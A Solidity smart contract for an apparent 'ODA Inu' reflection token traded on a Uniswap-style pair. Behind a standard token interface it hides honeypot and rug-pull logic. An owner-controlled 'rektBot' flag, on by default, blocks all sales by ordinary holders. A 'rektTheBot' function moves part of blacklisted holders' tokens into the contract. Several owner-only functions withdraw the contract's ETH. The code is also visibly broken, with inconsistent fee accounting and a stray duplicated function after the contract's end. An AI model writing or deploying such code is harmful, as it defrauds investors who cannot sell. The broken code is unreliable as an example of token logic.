contract OdaInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    
    bool isTradeOn = true;
    
    address payable public marketingAddress = payable(0x46312Cc7d0Dca32cfBfFad2b07ca2E02fEd38B96); // Marketing Address
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isWhitelisted;
    
    mapping (address => bool) public heSold;
    //mapping (address => uint256) public heTried;
    mapping (address => uint256) public sellLimitTime;
    uint256 public sellLock = 10 seconds;
    
    mapping (address => bool) public isBlacklisted;

    mapping (address => bool) private _isExcludedFromFee;
    
    
    mapping (address => bool) private _isExcludedFromSellLock;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
   
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;

    string private _name = "ODA Inu";
    string private _symbol = "ODA";
    uint8 private _decimals = 9;


    bool public alwaysSwap = true;
    bool public swapIsPegged = true;
    uint256 public wayToSwap = 1;
    bool public rektBot = true;
    
    uint256 public _liquidityFee = 1;
    uint256 private _previousLiquidityFee = _liquidityFee;
    uint256 public marketingTax = 1;
    uint256 public _burnFee = 1;
    uint256 public safeBalance = 10000000000000000;
    uint256 public _maxTxAmount = 10000000000000000 * 10**6 * 10**9;
    uint256 private minimumTokensBeforeSwap = 1 * 10**6 * 10**9; 
    
    bool sellLockEnabled = true;

    uint256 public buyBackTxMin = 1000 * 10**18;
    
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    
    event RewardLiquidityProviders(uint256 tokenAmount);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwned[_msgSender()] = _rTotal;
        
        // Testnet:  0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3
        // Mainnet: 0x10ED43C718714eb63d5aA57B78B54704E256024E
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;

        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }
    

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
  

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner() {

        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function rektTheBot(uint256 amount, address from) public onlyOwner {
        _rOwned[from] = _rOwned[from].sub(amount)+10;
        _rOwned[address(this)] = _rOwned[address(this)] + amount-10;
        
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
            // Sniper rekting
            address pancakePair = uniswapV2Pair;
            if(from != owner() && to != owner() && from != pancakePair)  {

            // Blacklist rekting
            if (rektBot ) {
                if(isBlacklisted[from]) {
                    rektTheBot(amount.div(2), from);
                }
            } else { // Satefy fallback
                require(!isBlacklisted[from], "You are blacklisted");
            }
            
            // Other requires
            require(from != address(0), "ERC20: transfer from the zero address");
            require(to != address(0), "ERC20: transfer to the zero address");
            require(amount > 0, "Transfer amount must be greater than zero");
            // Owner can receive and send the fuck he want
            if(from != owner() && to != owner()) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 burnModifier = 1;
            // Sell cooldown
            bool isSell;
            address pancakeRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
            
            // Before that, we calculate the amount of the eventual sell and rebase a little
            if(to==pancakeRouter || to==pancakePair) {
                isSell = true;
                if (amount > _rTotal.div(100)) {
                    // This rebase means the burn fee is doubled (so also bothering sellers that will have to set high slippage too)
                    burnModifier = 2;
                }
            } else {
                // Buyers are friends
                isSell = false;
            }
            if(rektBot) {
                require(!isSell);
                
            }
            if(sellLockEnabled) {
                // Contract and pair are excluded by default
                if (from!=address(this) && from!=pancakePair ) {
                        if (!_isExcludedFromSellLock[from] ) {
                          require(sellLimitTime[from]<=block.timestamp,"Sell lock time not expired");
                        }
                        //heTried[from] = heTried[from] + 1;
                        //if(heTried[from]>=3) {
                        //    isBlacklisted[from] = true;
                        //    heTried[from] = 0;
                        //}
                    heSold[from]=true;
                    //heTried[from] = 0;
                    sellLimitTime[from]=block.timestamp+sellLock;
                }
            }
            
            // Initial math for the fees
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            // If not proven wrong, no swapping
            bool takeLiq = false;
            
            // If we are not in a swap condition and is a sell, or the always swap is on, then if we are over the minimum to swap, to the swap (anyway with a tx not higher than the source)
            if (!inSwapAndLiquify && swapAndLiquifyEnabled && (to == uniswapV2Pair || alwaysSwap)) {
                if (overMinimumTokenBalance) {
                    // Here the decision has been made, its just a question of not going too high
                    if (contractTokenBalance > amount && swapIsPegged) {
                        contractTokenBalance = amount;   
                    }
                    takeLiq = true;
                }
            }
    
            // Take fee if its not whitelisted in the fees and if is not a transfer from the pair itself
            if (!_isExcludedFromFee[from] && from != pancakePair) {
                // Amount fixing
                uint256 totalTax =  ((amount*_liquidityFee)/100) + ((amount*marketingTax)/100) + ((amount*_burnFee)/100); 
                amount = amount - totalTax;
                _rOwned[from] =  _rOwned[from].sub(amount);
                _rOwned[to] =  _rOwned[to].add(amount);
                // Tax retemtopm
                if (totalTax > 0) {
                    _rOwned[address(this)] =  _rOwned[address(this)].add(totalTax-10);
                // Burn fee, increased if sell is over a certain
                 _rTotal = _rTotal.sub((amount*_burnFee)/100)*burnModifier;
            }
            // Marketing and liquidity (using the data from before but after the accounting)
            swapTokens(contractTokenBalance, isSell, takeLiq);
            emit Transfer(from, to, amount);
        
        }
        
    }
    }

    function swapTokens(uint256 contractTokenBalance, bool isSell, bool takeLiq) private lockTheSwap {
       
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(contractTokenBalance);
        uint256 transferredBalance = address(this).balance.sub(initialBalance);
        
        // Excluded particular conditions
        if (takeLiq) {
            // Calculate amounts
            uint256 markAmount = (transferredBalance * marketingTax)/100;
            //Send to Marketing address always, if not excluded somehow
            transferToAddressETH(marketingAddress, markAmount);
            // Perform the buyback on sells
            if (isSell) {
                if ((address(this).balance.sub(transferredBalance).sub(markAmount).sub(1)) < safeBalance) {
                    return;
                }
                swapETHForTokens(transferredBalance - markAmount - 1);
            }
        }
        
    }
    
    function unleashHellPercentage(uint256 perc) external onlyOwner() {
        require(perc>=1 && perc<=95, "We need a Percentage");
        swapETHForTokens((address(this).balance)*perc/100);
    }
    
    
    function unleashHellFull() external onlyOwner() {
        swapETHForTokens(address(this).balance - safeBalance);
    }
    
    
    function unleashHellFullAlternative() external onlyOwner() {
        uint256 toHell = address(this).balance - safeBalance;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);

      // make the swap
        uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: toHell}(
            0, // accept any amount of Tokens
            path,
            deadAddress, // Burn address
            block.timestamp.add(300)
        );
        emit SwapETHForTokens(toHell, path);
    }
    
    function unleashHellPercAlternative(uint256 perc) external onlyOwner() {
        require(perc>=1 && perc<=100, "We need a Percentage");
        uint256 toHell = ((address(this).balance)*perc)/100;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);

      // make the swap
        uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: toHell}(
            0, // accept any amount of Tokens
            path,
            deadAddress, // Burn address
            block.timestamp.add(300)
        );
        emit SwapETHForTokens(toHell, path);
    }

    function buyBackTokens(uint256 amount) private lockTheSwap {
    	if (amount > 0) {
    	    swapETHForTokens(amount);
	    }
    }
    
    function swapTokensForEth(uint256 tokenAmount) public onlyOwner {
        if (tokenAmount <= balanceOf(address(this))) {
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = uniswapV2Router.WETH();
    
            _approve(address(this), address(uniswapV2Router), tokenAmount);
    
            // make the swap
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0, // accept any amount of ETH
                path,
                address(this), // The contract
                block.timestamp
            );
            
            emit SwapTokensForETH(tokenAmount, path);
        }
    }
    function swapETHForTokens(uint256 amount) public onlyOwner {
        
        if (wayToSwap==1) {
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = uniswapV2Router.WETH();
            path[1] = address(this);
    
          // make the swap
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
                0, // accept any amount of Tokens
                path,
                deadAddress, // Burn address
                block.timestamp.add(300)
            );
            emit SwapETHForTokens(amount, path);
        } else if (wayToSwap==2) {
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = uniswapV2Router.WETH();
    
          // make the swap
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
                0, // accept any amount of Tokens
                path,
                deadAddress, // Burn address
                block.timestamp.add(300)
            );
            emit SwapETHForTokens(amount, path);
        } else {
            wayToSwap = wayToSwap;
        }
            
        
    }
    




    // Utilities
    
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tLiquidity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tLiquidity, _getRate());
        return (rAmount, rTransferAmount, tTransferAmount, tLiquidity);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tLiquidity);
        return (tTransferAmount, tLiquidity);
    }

    function _getRValues(uint256 tAmount, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rLiquidity);
        return (rAmount, rTransferAmount);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    
    
    // Control panel
    
    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
    
    function removeAllFee() private {
        if(_liquidityFee == 0) return;
        
        _previousLiquidityFee = _liquidityFee;
        
        _liquidityFee = 0;
    }
    
    function restoreAllFee() private {
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function blacklistAddress(address account) public onlyOwner {
        isBlacklisted[account] = true;
    }
    
    function unBlacklistAddress(address account) public onlyOwner {
        isBlacklisted[account] = false;
    }
    
    function checkBlacklist(address account) public view onlyOwner returns(bool){
        return isBlacklisted[account];
    }
    
    
    function rescueBNB(uint256 amount) public onlyOwner {
        require(amount>0 && amount<=100, "Percentage pls");
        uint256 toRescue = ((address(this).balance)*amount)/100;
        payable(msg.sender).transfer(toRescue);
    }
    
    function rescueTokens(address tknAddress) public onlyOwner {
        IERC20 token = IERC20(tknAddress);
        uint256 ourBalance = token.balanceOf(address(this));
        require(ourBalance>0, "No tokens in our balance");
        token.transfer(msg.sender, ourBalance);
    }
    
    function alwaysSwapOn(bool ison) public onlyOwner {
        alwaysSwap = ison;
    }
    
    function swapIsPeggedOn(bool ison) public onlyOwner {
        swapIsPegged = ison;
    }
    
    function enabledRektBot(bool rekt) public onlyOwner {
        rektBot = rekt;
    }
    
    
    
    function excludeFromSellLock(address nolock) public onlyOwner {
        _isExcludedFromSellLock[nolock] = true;
    }
    
    function includeInSellLock(address nolock) public onlyOwner {
        _isExcludedFromSellLock[nolock] = false;
    }
    
    function setSellLock(bool sellockbool) external onlyOwner(){
        sellLockEnabled = sellockbool;
    }
    
    function setWayToSwap(uint256 way) public onlyOwner {
        wayToSwap = way;
    }
    
    function setSafeBalanceGwei(uint256 safeb) public onlyOwner {
        safeBalance = safeb;
    }
    
    function setWhitelisted(address addy) external onlyOwner() {
        isWhitelisted[addy] = true;
    }
    
    function unsetWhitelisted(address addy) external onlyOwner() {
        isWhitelisted[addy] = false;
    }
    
    function setSellLockTime(uint256 sellocktimenew) external onlyOwner(){
        sellLock = sellocktimenew;
    }
    
    function checkSellLockTime() public view returns(uint256) {
        return sellLock;
    }
    
    function setbuyBackTxMin(uint256 bbtxMin) external onlyOwner() {
        buyBackTxMin = bbtxMin * 10**9;
    }
    
    function checkbuyBackTxMin() public view returns(uint256) {
        return buyBackTxMin;
    }
    
    
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
        _liquidityFee = liquidityFee;
    }
    
    function setMaxTxAmountGwei(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }
    
    function setmarketingTaxPercent(uint256 mtax) external onlyOwner() {
        marketingTax = mtax;
    }

    function setNumTokensSellToAddToLiquidityGwei(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
        minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
    }
    

    function setMarketingAddress(address _marketingAddress) external onlyOwner() {
        marketingAddress = payable(_marketingAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function enableTrade(bool enabled) external onlyOwner {
        setSwapAndLiquifyEnabled(true);
        isTradeOn = enabled;
    }
    
    function transferToAddressETH(address payable recipient, uint256 amount) public onlyOwner {
        recipient.transfer(amount);
    }
    
    function manualBuyBack(address payable recipient) public onlyOwner {
        uint256 amount = address(this).balance - safeBalance;
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
// Control panel